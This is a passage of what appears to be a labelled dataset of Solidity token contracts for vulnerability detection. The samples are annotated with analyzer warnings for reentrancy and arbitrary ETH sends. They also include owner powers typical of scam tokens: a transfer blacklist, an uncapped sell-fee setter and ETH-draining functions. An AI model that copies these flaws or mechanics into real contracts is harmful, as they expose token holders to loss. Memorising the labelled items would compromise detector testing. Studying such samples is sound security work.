'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _uniswapRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(_uniswapRouter), _tTotal);\n\n\t\t// reentrancy-benign | ID: 4959c1d\n\t\t// reentrancy-no-eth | ID: ea0ff92\n _uniPair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n\t\t// reentrancy-no-eth | ID: ea0ff92\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 4959c1d\n\t\t// unused-return | ID: 0a8bea3\n _uniswapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 4959c1d\n\t\t// unused-return | ID: 80f047d\n IERC20(_uniPair).approve(address(_uniswapRouter), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 4959c1d\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function transfCaEth() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10795.sol",
"size_bytes": 23408,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d82c5eb): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for d82c5eb: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: d82c5eb\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 33e2a78): Contract._finalBuyTax should be constant \n\t// Recommendation for 33e2a78: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: aa5dd56): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for aa5dd56: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8ca233a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8ca233a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: aa5dd56\n\t\t// reentrancy-benign | ID: 8ca233a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: aa5dd56\n\t\t// reentrancy-benign | ID: 8ca233a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6ed46ff\n\t\t// reentrancy-benign | ID: 8ca233a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6965923\n\t\t// reentrancy-events | ID: aa5dd56\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d4e88f4): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d4e88f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3b8bc36): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3b8bc36: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d4e88f4\n\t\t\t\t// reentrancy-eth | ID: 3b8bc36\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d4e88f4\n\t\t\t\t\t// reentrancy-eth | ID: 3b8bc36\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 3b8bc36\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 3b8bc36\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3b8bc36\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d4e88f4\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3b8bc36\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3b8bc36\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d4e88f4\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6965923\n\t\t// reentrancy-events | ID: d4e88f4\n\t\t// reentrancy-events | ID: aa5dd56\n\t\t// reentrancy-benign | ID: 6ed46ff\n\t\t// reentrancy-benign | ID: 8ca233a\n\t\t// reentrancy-eth | ID: a1f3f19\n\t\t// reentrancy-eth | ID: 3b8bc36\n\t\t// reentrancy-eth | ID: 85aa456\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e6ded78): Contract.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e6ded78: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6965923\n\t\t// reentrancy-events | ID: d4e88f4\n\t\t// reentrancy-events | ID: aa5dd56\n\t\t// reentrancy-eth | ID: a1f3f19\n\t\t// reentrancy-eth | ID: 3b8bc36\n\t\t// reentrancy-eth | ID: 85aa456\n\t\t// arbitrary-send-eth | ID: e6ded78\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6965923): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6965923: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6ed46ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6ed46ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0ed2294): Contract.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 0ed2294: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2861991): Contract.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 2861991: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a1f3f19): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a1f3f19: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 85aa456): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 85aa456: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 6965923\n\t\t// reentrancy-benign | ID: 6ed46ff\n\t\t// reentrancy-eth | ID: a1f3f19\n\t\t// reentrancy-eth | ID: 85aa456\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: 6965923\n\t\t// reentrancy-benign | ID: 6ed46ff\n\t\t// reentrancy-eth | ID: a1f3f19\n\t\t// reentrancy-eth | ID: 85aa456\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 6965923\n\t\t// reentrancy-benign | ID: 6ed46ff\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 2861991\n\t\t// reentrancy-eth | ID: 85aa456\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 0ed2294\n\t\t// reentrancy-eth | ID: 85aa456\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 85aa456\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 85aa456\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 14fa584): Contract.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 14fa584: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 14fa584\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10796.sol",
"size_bytes": 21871,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Contract is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2b9dbf5): Contract._taxWallet should be immutable \n\t// Recommendation for 2b9dbf5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"Make Ethereum Great Again\";\n\n string private constant _symbol = unicode\"MEGA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: c75e3c5): Contract._initialBuyTax should be constant \n\t// Recommendation for c75e3c5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 24;\n\n\t// WARNING Optimization Issue (constable-states | ID: b29199a): Contract._initialSellTax should be constant \n\t// Recommendation for b29199a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 24;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b180ac0): Contract._reduceBuyTaxAt should be constant \n\t// Recommendation for b180ac0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c977fc): Contract._reduceSellTaxAt should be constant \n\t// Recommendation for 5c977fc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: e521553): Contract._preventSwapBefore should be constant \n\t// Recommendation for e521553: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 9;\n\n uint256 private _transferTax = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49eee87): Contract._taxSwapThreshold should be constant \n\t// Recommendation for 49eee87: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2700000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e937989): Contract._maxTaxSwap should be constant \n\t// Recommendation for e937989: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 18800000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 013f8e1): Contract.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 013f8e1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ecc31d3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ecc31d3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7d46d00): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7d46d00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ecc31d3\n\t\t// reentrancy-benign | ID: 7d46d00\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ecc31d3\n\t\t// reentrancy-benign | ID: 7d46d00\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96c28bf): Contract._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96c28bf: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 7d46d00\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ecc31d3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7cba1ff): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7cba1ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2c0642d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2c0642d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to 